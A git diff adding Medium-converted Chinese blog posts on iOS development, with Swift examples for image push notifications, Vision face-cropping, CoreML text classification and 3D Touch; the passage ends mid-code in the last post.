[ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2018-10-15-cb6eba52a342.md b/_posts/zmediumtomarkdown/2018-10-15-cb6eba52a342.md new file mode 100644 index 000000000..767b10a7f --- /dev/null +++ b/_posts/zmediumtomarkdown/2018-10-15-cb6eba52a342.md @@ -0,0 +1,240 @@ +--- +title: "iOS ≥ 10 Notification Service Extension 應用 (Swift)" +author: "ZhgChgLi" +date: 2018-10-15T15:44:01.193+0000 +last_modified_at: 2024-04-13T07:13:08.836+0000 +categories: "ZRealm Dev." +tags: ["swift","push-notification","notificationservice","ios","ios-app-development"] +description: "圖片推播、推播顯示統計、推播顯示前處理" +image: + path: /assets/cb6eba52a342/1*8juoKO7BZiT3PQjqufWcrA.jpeg +render_with_liquid: false +--- + +### iOS ≥ 10 Notification Service Extension 應用 \(Swift\) + +圖片推播、推播顯示統計、推播顯示前處理 + + +關於基礎的推播建置、推播原理;網路資料很多,這邊就不再論述,本篇主要重點在如何讓APP支援圖片推播及運用新特性達成更精準的推播顯示統計. + + +![](/assets/cb6eba52a342/1*8juoKO7BZiT3PQjqufWcrA.jpeg) + + +如上圖所示,Notification Service Extension讓你在APP收到推播後能針對推播做預處理,然後才顯示推播內容 + +官方文件寫到,我們針對推播進來的內容做處理時,處理時限大約30秒鐘,如果超過30秒還沒CallBack,推播就會繼續執行,出現在使用者的手機. +#### 支援度 + +iOS ≥ 10\.0 +#### 30秒可以幹嘛? +- \(目標1\) 從推播內容的圖片連結欄位下載圖片回來,並附加到推播內容上🏆 + + + +![](/assets/cb6eba52a342/1*dd2kRizi6v-AIXcMWourow.png) + +- \(目標2\) 統計推播有無顯示🏆 +- 推播內容修改、重組內容 +- 推播內容加解密\(解密\)顯示 +- _決定推播要不要顯示?_ =>> **答案:不行** + +#### 首先,後端推播程式的 Payload 部分 + +後端在推播時的結構要多加上一行 `“mutable-content":1` 系統收到推播才會執行Notification Service Extension +```json +{ + "aps": { + "alert": { + "title": "新文章推薦給您", + "body": "立即查看" + }, + "mutable-content":1, + "sound": "default", + "badge": 0 + } +} +``` +#### And… 第一步,為專案新建一個Target + + +![**Step 1\.** Xcode \-> File \-> New \-> Target](/assets/cb6eba52a342/1*ZjPVTxLR6ywAdk70Y7_J7A.png) + +**Step 1\.** Xcode \-> File \-> New \-> Target + + +![**Step 2\.** iOS \-> Notification Service Extension \-> Next](/assets/cb6eba52a342/1*2KRusR8MJUim7UH1CmS7pw.png) + +**Step 2\.** iOS \-> Notification Service Extension \-> Next + + +![**Step 3\.** 輸入Product Name \-> Finish](/assets/cb6eba52a342/1*sAuzxJPpohTGp-KV13yupg.png) + +**Step 3\.** 輸入Product Name \-> Finish + + +![**Step 4\.** 點選 Activate](/assets/cb6eba52a342/1*3DF_fMQLSrGxTbmLY6CJAg.png) + +**Step 4\.** 點選 Activate + +**第二步,撰寫推播內容處理程式** + + +![找到Product Name/NotificationService\.swift檔](/assets/cb6eba52a342/1*UsCd2btDPK6GWKrYEA9LbQ.png) + +找到Product Name/NotificationService\.swift檔 +```swift +import UserNotifications + +class NotificationService: UNNotificationServiceExtension { + + var contentHandler: ((UNNotificationContent) -> Void)? + var bestAttemptContent: UNMutableNotificationContent? + + override func didReceive(_ request: UNNotificationRequest, withContentHandler contentHandler: @escaping (UNNotificationContent) -> Void) { + self.contentHandler = contentHandler + bestAttemptContent = (request.content.mutableCopy() as? UNMutableNotificationContent) + + if let bestAttemptContent = bestAttemptContent { + // Modify the notification content here... + // 推播內容在這處理,Load 圖片回來 + bestAttemptContent.title = "\(bestAttemptContent.title) [modified]" + + contentHandler(bestAttemptContent) + } + } + + override func serviceExtensionTimeWillExpire() { + // Called just before the extension will be terminated by the system. + // Use this as an opportunity to deliver your "best attempt" at modified content, otherwise the original push payload will be used. + // 要逾時了,不管圖片 只改標題內容就好 + if let contentHandler = contentHandler, let bestAttemptContent = bestAttemptContent { + contentHandler(bestAttemptContent) + } + } + +} +``` + +如上程式碼,NotificationService有兩個接口;第一個是 `didReceive` 當有推播進來時會觸發這個function,其中當處理完畢後需要呼叫 `contentHandler(bestAttemptContent)` 這個CallBack Method告知系統 + +如果時間過久都沒呼叫CallBack Method,就會觸發第二個 function `serviceExtensionTimeWillExpire()` 已逾時,基本上已回天乏術,只能做一些收尾的動作\(例如:單純改改標題、內容,不Load網路資料了\) +#### 實戰範例 + +這裡假設我們的 Payload 如下 +```json +{ + "aps": { + "alert": { + "push_id":"2018001", + "title": "新文章推薦給您", + "body": "立即查看", + "image": "https://d2uju15hmm6f78.cloudfront.net/image/2016/12/04/3113/2018/09/28/trim_153813426461775700_450x300.jpg" + }, + "mutable-content":1, + "sound": "default", + "badge": 0 + } +} +``` + +「push\_id」跟「image」都是我自訂的欄位,push\_id用於辨識推播方便我們傳回伺服器做統計;image 則是推播要附加的圖片內容之圖片網址 +```swift +override func didReceive(_ request: UNNotificationRequest, withContentHandler contentHandler: @escaping (UNNotificationContent) -> Void) { + self.contentHandler = contentHandler + bestAttemptContent = (request.content.mutableCopy() as? UNMutableNotificationContent) + + if let bestAttemptContent = bestAttemptContent { + + guard let info = request.content.userInfo["aps"] as? NSDictionary,let alert = info["alert"] as? Dictionary else { + contentHandler(bestAttemptContent) + return + //推播內容格式不如預期,不處理 + } + + //目標2: + //回傳Server,告知推播有顯示 + if let push_id = alert["push_id"],let url = URL(string: "顯示統計API網址") { + var request = URLRequest(url: url, cachePolicy: .reloadIgnoringLocalCacheData, timeoutInterval: 30) + request.httpMethod = "POST" + request.addValue(UserAgent, forHTTPHeaderField: "User-Agent") + + var httpBody = "push_id=\(push_id)" + request.addValue("application/x-www-form-urlencoded", forHTTPHeaderField: "Content-Type") + request.httpBody = httpBody.data(using: .utf8) + + let task = URLSession.shared.dataTask(with: request) { (data, response, error) in + + } + DispatchQueue.global().async { + task.resume() + //異步處理,不管他 + } + } + + //目標1: + guard let imageURLString = alert["image"],let imageURL = URL(string: imageURLString) else { + contentHandler(bestAttemptContent) + return + //若無附圖片,則不用特別處理 + } + + + let dataTask = URLSession.shared.dataTask(with: imageURL) { (data, response, error) in + guard let fileURL = NSURL(fileURLWithPath: NSTemporaryDirectory()).appendingPathComponent(imageURL.lastPathComponent) else { + contentHandler(bestAttemptContent) + return + } + guard (try? data?.write(to: fileURL)) != nil else { + contentHandler(bestAttemptContent) + return + } + + guard let attachment = try? UNNotificationAttachment(identifier: "image", url: fileURL, options: nil) else { + contentHandler(bestAttemptContent) + return + } + //以上為讀取圖片連結並下載到手機並放入建立UNNotificationAttachment + + bestAttemptContent.categoryIdentifier = "image" + bestAttemptContent.attachments = [attachment] + //為推播添加附件圖片 + + bestAttemptContent.body = (bestAttemptContent.body == "") ? ("立即查看") : (bestAttemptContent.body) + //如果body為空,則用預設內容"立即查看" + + contentHandler(bestAttemptContent) + } + dataTask.resume() + } +} +``` + +`serviceExtensionTimeWillExpire` 的部分我沒特別處理什麼,就不貼了;關鍵還是上述 `didReceive` 的程式碼 + +可以看到當接受到有推播通知時,我們先Call Api告訴後端有收到並將顯示推播了,方便我們後台做推播統計;然後若有附加圖片再對圖片進行處理. +#### In\-App狀態時: + +ㄧ樣會觸發Notification Service Extension didReceive 再觸發AppDelegate的 **func** application\( **\_** application: UIApplication, didReceiveRemoteNotification userInfo: \[AnyHashable : **Any** \], fetchCompletionHandler completionHandler: **@escaping** \(UIBackgroundFetchResult\) \-> Void\) 方法 +#### 附註:關於圖片推播的部分你還可以…\. + +使用 Notification Content Extension 自訂推播按壓時要顯示的UIView\(可以自己刻\),還有按壓的動作 + +可參考這篇: [iOS10推送通知进阶\(Notification Extension)](https://www.jianshu.com/p/78ef7bc04655#UNNotificationContentExtension-%E9%80%9A%E7%9F%A5%E5%86%85%E5%AE%B9%E6%89%A9%E5%B1%95){:target="_blank"} + +iOS 12之後支援更多動作處理: [iOS 12 新通知功能:添加互動性 在通知中實作複雜功能](https://www.appcoda.com.tw/user-notifications-ios12/){:target="_blank"} + +Notification Content Extension的部分,我只拉了一個能展示圖片推播的UIView 並沒有做太多琢磨: + + +![[結婚吧APP](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329?ls=1&mt=8){:target="_blank"}](/assets/cb6eba52a342/1*SepeUiS7CN7xmGFxariPjA.png) + +[結婚吧APP](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329?ls=1&mt=8){:target="_blank"} + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/ios-10-notification-service-extension-%E6%87%89%E7%94%A8-swift-cb6eba52a342){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2018-10-16-9a9aa892f9a9.md b/_posts/zmediumtomarkdown/2018-10-16-9a9aa892f9a9.md new file mode 100644 index 000000000..35fd8ad00 --- /dev/null +++ b/_posts/zmediumtomarkdown/2018-10-16-9a9aa892f9a9.md @@ -0,0 +1,206 @@ +--- +title: "Vision 初探 — APP 頭像上傳 自動識別人臉裁圖 (Swift)" +author: "ZhgChgLi" +date: 2018-10-16T16:01:24.511+0000 +last_modified_at: 2024-04-13T07:14:30.996+0000 +categories: "ZRealm Dev." +tags: ["swift","machine-learning","facedetection","ios","ios-app-development"] +description: "Vision 實戰應用" +image: + path: /assets/9a9aa892f9a9/1*c-ioRH_Z2nMYRxSbuBD71A.png +render_with_liquid: false +--- + +### Vision 初探 — APP 頭像上傳 自動識別人臉裁圖 \(Swift\) + +Vision 實戰應用 + +#### 一樣不多說,先上一張成品圖: + + +![優化前 V\.S 優化後 — [結婚吧APP](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329?ls=1&mt=8){:target="_blank"}](/assets/9a9aa892f9a9/1*c-ioRH_Z2nMYRxSbuBD71A.png) + +優化前 V\.S 優化後 — [結婚吧APP](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329?ls=1&mt=8){:target="_blank"} + +前陣子iOS 12發佈更新,注意到新開放的CoreML 機器學習框架;覺得挺有趣的,就開始構想如果想用在當前的產品上能放在哪裡? + + +> **CoreML嚐鮮文章現已發佈: [使用機器學習自動預測文章分類,連模型也自己訓練](../793bf2cdda0f/)** + + + + + +CoreML提供文字、圖像的機器學習模型訓練及引用到APP裡的接口,我原先的想法是,使用CoreML來做到人臉識別,解決APP中有裁圖的項目頭或臉被卡掉的問題,如上圖左所示,若人臉出現在周圍則很容易因為縮放+裁圖造成臉不完整. + +經過網路搜尋一番後才發現我學識短淺,這個功能在iOS 11就已發佈:「Vision」框架,支援文字偵測、人臉偵測、圖像比對、QRCODE偵測、物件追蹤…功能 + +這邊使用的就是其中的人臉偵測項目,經優化後如右圖所示;找到人臉並以此為中心裁圖. +### 實戰開始: +#### 首先我們先做能標記人臉位置的功能,初步認識一下Vision怎麼用 + + +![Demo APP](/assets/9a9aa892f9a9/1*cpGgpXsBhuiJoZI03WAGUw.png) + +Demo APP + +完成圖如上所示,能標記出照片中人臉的位置 + +p\.s 僅能標記「人臉」,整個頭包含頭髮並不行😅 + +這塊程式主要分為兩部分,第一部分要解決 圖片原尺寸縮放放入 ImageView時會留白的狀況;簡單來說我們要的是Image的Size多大,ImageView的Size就有多大,若直接放入圖片會造成如下走位情形 + + +![](/assets/9a9aa892f9a9/1*Mb70Ed6pALO-8sllCpb7Qg.png) + + +你可能會想說直接改ContentMode變成fill、fit、redraw,但就會變形或圖片被卡掉 +```swift +let ratio = UIScreen.main.bounds.size.width +//這邊是因為我UIIMAGEVIEW 那邊設定左右對齊0,寬高比1:1 + +let sourceImage = UIImage(named: "Demo2")?.kf.resize(to: CGSize(width: ratio, height: CGFloat.leastNonzeroMagnitude), for: .aspectFill) +//使用KingFisher的圖片變形功能,已寬為基準,高度自由 + +imageView.contentMode = .redraw +//contentMode使用redraw填滿 + +imageView.image = sourceImage +//賦予圖片 + +imageViewConstraints.constant = (ratio - (sourceImage?.size.height ?? 0)) +imageView.layoutIfNeeded() +imageView.sizeToFit() +//這一塊是我去改變 imageView的Constraints,詳情可看文末完整範例 +``` + +以上就是針對圖片做的處理 + +_裁圖部分使用Kingfisher幫助我們,也可替換成其他套件或自刻方法_ + +第二部分,進入重點直接看Code +```swift +if #available(iOS 11.0, *) { + //iOS 11之後才支援 + let completionHandle: VNRequestCompletionHandler = { request, error in + if let faceObservations = request.results as? [VNFaceObservation] { + //辨識到的臉臉們 + + DispatchQueue.main.async { + //操作UIVIEW,切回主執行緒 + let size = self.imageView.frame.size + + faceObservations.forEach({ (faceObservation) in + //坐標系轉換 + let translate = CGAffineTransform.identity.scaledBy(x: size.width, y: size.height) + let transform = CGAffineTransform(scaleX: 1, y: -1).translatedBy(x: 0, y: -size.height) + let transRect = faceObservation.boundingBox.applying(translate).applying(transform) + + let markerView = UIView(frame: transRect) + markerView.backgroundColor = UIColor.init(red: 0/255, green: 255/255, blue: 0/255, alpha: 0.3) + self.imageView.addSubview(markerView) + }) + } + } else { + print("未偵測到任何臉") + } + } + + //辨識請求 + let baseRequest = VNDetectFaceRectanglesRequest(completionHandler: completionHandle) + let faceHandle = VNImageRequestHandler(ciImage: ciImage, options: [:]) + DispatchQueue.global().async { + //辨識需要時間,所以放入背景子執行緒執行,避免當前畫面卡住 + do{ + try faceHandle.perform([baseRequest]) + }catch{ + print("Throws:\(error)") + } + } + +} else { + // + print("不支援") +} +``` + +主要要注意的是,坐標系轉換部分;辨識出來的結果是Image的原始座標;我們須將它轉換成包在外面的ImageView的實際座標才能正確地使用它. +#### 再來我們來做今天的重頭戲 — 依照人臉的位置裁切出大頭貼的正確位置 +```php +let ratio = UIScreen.main.bounds.size.width +//這邊是因為我UIIMAGEVIEW 那邊設定左右對齊0,寬高比1:1,詳情可看文末完整範例 + +let sourceImage = UIImage(named: "Demo") + +imageView.contentMode = .scaleAspectFill +//使用scaleAspectFill模式填滿 + +imageView.image = sourceImage +//直接賦予原圖片,我們之後再操作 + +if let image = sourceImage,#available(iOS 11.0, *),let ciImage = CIImage(image: image) { + let completionHandle: VNRequestCompletionHandler = { request, error in + if request.results?.count == 1,let faceObservation = request.results?.first as? VNFaceObservation { + //ㄧ張臉 + let size = CGSize(width: ratio, height: ratio) + + let translate = CGAffineTransform.identity.scaledBy(x: size.width, y: size.height) + let transform = CGAffineTransform(scaleX: 1, y: -1).translatedBy(x: 0, y: -size.height) + let finalRect = faceObservation.boundingBox.applying(translate).applying(transform) + + let center = CGPoint(x: (finalRect.origin.x + finalRect.width/2 - size.width/2), y: (finalRect.origin.y + finalRect.height/2 - size.height/2)) + //這裡是計算臉的範圍中間點位置 + + let newImage = image.kf.resize(to: size, for: .aspectFill).kf.crop(to: size, anchorOn: center) + //將圖片依照中間點裁切 + + DispatchQueue.main.async { + //操作UIVIEW,切回主執行緒 + self.imageView.image = newImage + } + } else { + print("偵測到多張臉或沒有偵測到臉") + } + } + let baseRequest = VNDetectFaceRectanglesRequest(completionHandler: completionHandle) + let faceHandle = VNImageRequestHandler(ciImage: ciImage, options: [:]) + DispatchQueue.global().async { + do{ + try faceHandle.perform([baseRequest]) + }catch{ + print("Throws:\(error)") + } + } +} else { + print("不支援") +} +``` + +道理跟標記人臉位置差不多,差別在大頭貼的部分是固定尺寸\(如:300x300\),所以我們略過前面需要讓Image適應ImageView的第一部分 + +另一個差別是我們要多計算人臉範圍的中心點,並以這個中心點為準做裁切圖片 + + +![紅點為臉的範圍中心點](/assets/9a9aa892f9a9/1*civytcKOguHfVFHYPVWecA.png) + +紅點為臉的範圍中心點 +#### 完成效果圖: + + +![頓丹前的那一秒是原始圖位置](/assets/9a9aa892f9a9/1*WocYjt0xLkqtGVilxfT2LA.gif) + +頓丹前的那一秒是原始圖位置 +### 完整APP範例: + + +![](/assets/9a9aa892f9a9/1*J8oByw8gBCamIac2TkT1SA.gif) + + +程式碼已上傳至Github: [請點此](https://github.com/zhgchgli0718/VisionDemo){:target="_blank"} + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/vision-%E5%88%9D%E6%8E%A2-app-%E9%A0%AD%E5%83%8F%E4%B8%8A%E5%82%B3-%E8%87%AA%E5%8B%95%E8%AD%98%E5%88%A5%E4%BA%BA%E8%87%89%E8%A3%81%E5%9C%96-swift-9a9aa892f9a9){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2018-10-17-793bf2cdda0f.md b/_posts/zmediumtomarkdown/2018-10-17-793bf2cdda0f.md new file mode 100644 index 000000000..ad3346444 --- /dev/null +++ b/_posts/zmediumtomarkdown/2018-10-17-793bf2cdda0f.md @@ -0,0 +1,219 @@ +--- +title: "嚐鮮 iOS 12 CoreML — 使用機器學習自動預測文章分類,連模型也自己訓練!" +author: "ZhgChgLi" +date: 2018-10-17T15:20:35.448+0000 +last_modified_at: 2024-04-13T07:17:02.794+0000 +categories: "ZRealm Dev." +tags: ["swift","ios","machine-learning","natural-language-process","ios-app-development"] +description: "探索CoreML 2.0,如何轉換或訓練模型及將其應用在實際產品上" +image: + path: /assets/793bf2cdda0f/1*pOYPHRwPNLVtikVKzfIqsw.png +render_with_liquid: false +--- + +### 嚐鮮 iOS 12 CoreML — 使用機器學習自動預測文章分類,連模型也自己訓練! + +探索CoreML 2\.0,如何轉換或訓練模型及將其應用在實際產品上 + + +接續 [上一篇](../9a9aa892f9a9/) 針對在 iOS上使用機器學習的研究,本篇正式切入使用CoreML + +首先簡述一下歷史,蘋果在2017年發布了CoreML\(包含上篇文章介紹的Vision\) 機器學習框架;2018緊接著推出CoreML 2\.0,除 [效能提升](https://www.appcoda.com.tw/core-ml-2/){:target="_blank"} 外還支援 **自訂客製化CoreML模型** 。 +#### 前言 + +如果你只是聽過「機器學習」這個名詞而不清楚他的意思的話,這邊用一句話簡單說明: + + +> **「依照你過往的經驗去預測未來同樣事情的結果」** + + + + + +> 例如:我吃蛋餅要加番茄醬,買過幾次後早餐店老闆娘就會記得,「帥哥,加番茄醬?」我回答:「是」 — 老闆娘預測正確;若回答「不是,因為是蘿蔔糕\+蛋餅」 — 老闆娘記得並再下次遇到相同情況修正他的問題. + + + + + +> 輸入的資料:蛋餅、起司蛋餅、蛋餅\+蘿蔔糕、蘿蔔糕、蛋 + + + + + +> 輸出的資料:要加番茄醬/不加番茄醬 + + + + + +> 模型:老闆娘的記憶跟判斷 + + + + + +其實我對機器學習的認知,也是在純粹知道概念理論,但沒實際深入了解過,如有錯誤請大家多多指教 + +提到這就要順便拜🛐一下蘋果大神,把機器學習產品化,只要知道基本概念就能操作,不用具備龐大的知識基礎,降低入門門檻,我自己也是在實作過這個範例後,才第一次覺得有接觸到機器學習的踏實感,讓我對這個項目產生很大的興趣. +#### 開始 + +第一步,最重要的當然是前面所提到的「模型」,模型從哪來呢? + +有三種方式: +- 網路找別人訓練好的模型並轉成CoreML的格式 + + +[Awesome\-CoreML\-Models](https://github.com/likedan/Awesome-CoreML-Models){:target="_blank"} 這個GitHub專案搜集很多別人訓練好的模型 + +模型轉換可參考 [官網](https://developer.apple.com/machine-learning/build-run-models/){:target="_blank"} 或網路資料 +- 蘋果 [Machine Learning官網](https://developer.apple.com/machine-learning/build-run-models/){:target="_blank"} 最下方的 Download Core ML Models ,可以下載蘋果幫我們訓練好的模型 \(主要是拿來學習或測試而已\) +- **運用工具自己訓練模型🏆** + +#### 所以,能做什麼? +- 圖片辨識 **🏆** +- **文字內容識別分類🏆** +- 文字斷詞 +- 文字語言判斷 +- 名詞識別 + + +斷詞請參考 [在 iOS App 中進行自然語言處理:初探 NSLinguisticTagger](https://www.appcoda.com.tw/nslinguistictagger/){:target="_blank"} +### 今日主要重點 — 文字內容識別分類+ **自己訓練模型** + +講白話就是,我們給機器「文字內容」跟「分類」訓練電腦對未來的資料做分類.例如:「點擊查看最新優惠!」、「1000$購物金馬上領」=>「廣告」;「Alan發送一則訊息給您」、「您的帳戶即將到期」=>「重要事項」 + +實際應用:垃圾信件判別、標籤產生、分類預測 + +_p\.s 由於圖片辨識我還沒想到能訓練它做什麼,所以就沒去研究了;有興趣的朋友可以看 [這篇](https://www.jianshu.com/p/28ed4eff68d1){:target="_blank"} ,官方有提供圖片的GUI訓練工具 很方便!!_ + +**需求工具:** MacOS Mojave⬆ \+ Xcode 10 + +**訓練工具:** [BlankSpace007/TextClassiferPlayground](https://github.com/BlankSpace007/TextClassiferPlayground){:target="_blank"} (官方只提供 **圖片的GUI訓練工具** ,文字的要自己寫;這是由網路大神提供的第三方工具) +#### 準備訓練資料: + + +![資料結構如上圖,支援\.json,\.csv檔](/assets/793bf2cdda0f/1*bqKGHErvqhd6gIKCnvve4Q.png) + +資料結構如上圖,支援\.json,\.csv檔 + +準備好要拿來訓練的資料,這裡以用Phpmyadmin\(Mysql\) 匯出訓練資料 +```sql +SELECT `title` AS `text`,`type` AS `label` FROM `posts` WHERE `status` = '1' +``` + + +![匯出方式更改成JSON格式](/assets/793bf2cdda0f/1*fc10j10OzmI2TGemaqlDmw.png) + +匯出方式更改成JSON格式 +```json +[ + {"type":"header","version":"4.7.5","comment":"Export to JSON plugin for PHPMyAdmin"}, + {"type":"database","name":"db"}, + {"type":"table","name":"posts","database":"db","data": + //以上刪除 + [ + { + "label":"", + "text":"" + } + ] + //以下刪除 + } +] +``` + +打開剛下載的JSON檔案,只留下中間DATA結構裡的內容 +#### 使用訓練工具: + +下載好訓練工具後,點擊 TextClassifer\.playground 打開 Playground + + +![點擊紅匡執行\->點擊綠匡切換View顯示](/assets/793bf2cdda0f/1*ct9AHpetBuEKHDGfRwvMlg.png) + +點擊紅匡執行\->點擊綠匡切換View顯示 + + +![將JSON檔案拉入GUI工具](/assets/793bf2cdda0f/1*kV_Dh2pP94gUakcmYcI6bQ.png) + +將JSON檔案拉入GUI工具 + + +![打開下方Console查看訓練進度,看到「測試正確率」這行代表已完成模型訓練](/assets/793bf2cdda0f/1*NIyGqbNaArovIDEPK6Ynhg.png) + +打開下方Console查看訓練進度,看到「測試正確率」這行代表已完成模型訓練 + +資料太多就要考驗考驗你的電腦處理能力。 + + +![填寫基本訊息後按「保存」](/assets/793bf2cdda0f/1*-jN91i4v0ijo6_qkCH1qwg.png) + +填寫基本訊息後按「保存」 + +保存下訓練好的模型檔案 + + +![](/assets/793bf2cdda0f/1*ML0yNr3NzRwGfBjIBzCfpg.png) + + + +![CoreML 模型檔](/assets/793bf2cdda0f/1*WWg3yfrgNastu0U20iiCUQ.png) + +CoreML 模型檔 + +到此你的模型就已經訓練好囉!是不是很容易 + +**具體訓練方式:** +1. 先將輸入的語句做斷詞\(我想知道婚禮需要準備什麼=>我想,知道,婚禮,需要,準備,什麼\),再看他的分類是什麼做一連串的機器學習計算。 +2. 將訓練資料分組,例如: 80% 是拿來訓練另外20%是拿來測試驗證 + + +到這邊已經完成大部分的工作,接下來只要把模型檔加入iOS 專案中,寫個幾行程式就行囉。 + + +![將模型檔案\( \* \.mlmodel\) 拖曳/加入專案之中](/assets/793bf2cdda0f/1*4Uc1elBmhEnQ-J8z_RIQHQ.png) + +將模型檔案\( \* \.mlmodel\) 拖曳/加入專案之中 +#### 程式部分: +```swift +import CoreML + +// +if #available(iOS 12.0, *),let prediction = try? textClassifier().prediction(text: "要預測的文字內容") { + let type = prediction.label + print("我覺得是...\(type)") +} +``` + +**完工!** +#### 待探索問題: +1. 可以支持再學習? +2. 可以將mlmodel模型檔轉換到其他平台? +3. 能再iOS上訓練模型? + + +以上三點,目前查到的資料是都不行。 +#### 結語: + +目前我將其應用在實務APP上,做文章發文時預測他的分類 + + +![[結婚吧APP](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329?ls=1&mt=8){:target="_blank"}](/assets/793bf2cdda0f/1*pOYPHRwPNLVtikVKzfIqsw.png) + +[結婚吧APP](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329?ls=1&mt=8){:target="_blank"} + +我拿去訓練資料約才100筆,目前預測命中率約35%,主要為實驗性質而已。 + +— — — — — + +就是這麼簡單,完成人生中第一個機器學習項目;其中背景如何運作還有很長的路可以學習,希望這個項目能給大家一些啟發! + +參考資料: [WWDC2018之Create ML\(二\)](https://www.jianshu.com/p/205ee896663f){:target="_blank"} + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/%E5%9A%90%E9%AE%AE-ios-12-coreml-%E4%BD%BF%E7%94%A8%E6%A9%9F%E5%99%A8%E5%AD%B8%E7%BF%92%E8%87%AA%E5%8B%95%E9%A0%90%E6%B8%AC%E6%96%87%E7%AB%A0%E5%88%86%E9%A1%9E-%E9%80%A3%E6%A8%A1%E5%9E%8B%E4%B9%9F%E8%87%AA%E5%B7%B1%E8%A8%93%E7%B7%B4-793bf2cdda0f){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2018-10-18-1ca246e27273.md b/_posts/zmediumtomarkdown/2018-10-18-1ca246e27273.md new file mode 100644 index 000000000..b87c0fecc --- /dev/null +++ b/_posts/zmediumtomarkdown/2018-10-18-1ca246e27273.md @@ -0,0 +1,235 @@ +--- +title: "提升使用者體驗,現在就為您的 iOS APP 加上 3D TOUCH 功能(Swift)" +author: "ZhgChgLi" +date: 2018-10-18T14:36:57.668+0000 +last_modified_at: 2024-04-13T07:19:09.923+0000 +categories: "ZRealm Dev." +tags: ["ios","swift","3d-touch","iphone","ios-app-development"] +description: "iOS 3D TOUCH 應用" +image: + path: /assets/1ca246e27273/1*AAFevro2x7s9J6yRshAGtg.png +render_with_liquid: false +--- + +### \[Deprecated\]提升使用者體驗,現在就為您的 iOS APP 加上 3D TOUCH 功能\(Swift\) + +iOS 3D TOUCH 應用 + +### \[Deprecated\] 2020/06/14 + + +> **_iPhone 11 以上版本已取消 3D Touch 功能;改用 Haptic Touch 取代,實作方式也有所不同。_** + + + + + +前陣子在專案開發閒暇之時,探索了許多 iOS 的有趣功能: [CoreML](../793bf2cdda0f/) 、 [Vision](../9a9aa892f9a9/) 、 [Notification Service Extension](../cb6eba52a342/) 、Notification Content Extension、Today Extension、Core Spotlight、Share Extension、SiriKit \(部分已整理成文章、其他項目敬請期待🤣\) + +其中還有今日的主角: **3D Touch功能** + +這個早在 **iOS 9/iPhone 7之後** 就開始支援的功能,直到我自己從iPhone 6換到iPhone 8 後才體會到它的好用之處! +#### 3D Touch能在APP中實做兩個項目,如下: + + +![1\. Preview ViewController 預覽功能 — [結婚吧APP](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329?ls=1&mt=8){:target="_blank"}](/assets/1ca246e27273/1*Nl6uz_dA2h13g7PtqSi6aw.gif) + +1\. Preview ViewController 預覽功能 — [結婚吧APP](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329?ls=1&mt=8){:target="_blank"} + + +![2\. 3D Touch Shortcut APP 捷徑啟動功能](/assets/1ca246e27273/1*VcIEwZxiW26eVqCk4kUEZw.gif) + +2\. 3D Touch Shortcut APP 捷徑啟動功能 + +其中第一項是應用最廣且效果最好的 \(Facebook:動態消息內容預覽、Line:偷看訊息\),第二項 APP 捷徑啟動 目前看數據是鮮少人使用所以放最後在講。 +### 1\. Preview ViewController 預覽功能: + +功能展示如上圖1所示,ViewController 預覽功能支援 +- 3D Touch重壓時背景虛化 +- 3D Touch重壓住時跳出ViewController預覽視窗 +- 3D Touch重壓住時跳出ViewController預覽視窗,往上滑可在下方加入選項選單 +- 3D Touch重壓放開返回視窗 +- 3D Touch重壓後再用力進入目標ViewController + + +這裡將分 **A:列表視窗** 、 **B:目標視窗** 個別列出要實作的程式碼: + +由於在 B中 沒有方式能判斷當前是預覽還是真的進入此視窗,所以我們先建立一個Protocol傳遞值,用來判斷 +```swift +protocol UIViewControllerPreviewable { + var is3DTouchPreview:Bool {get set} +} +``` + +這樣我們就能在 B中 做以下判斷: +```swift +class BViewController:UIViewController, UIViewControllerPreviewable { + var is3DTouchPreview:Bool = false + override func 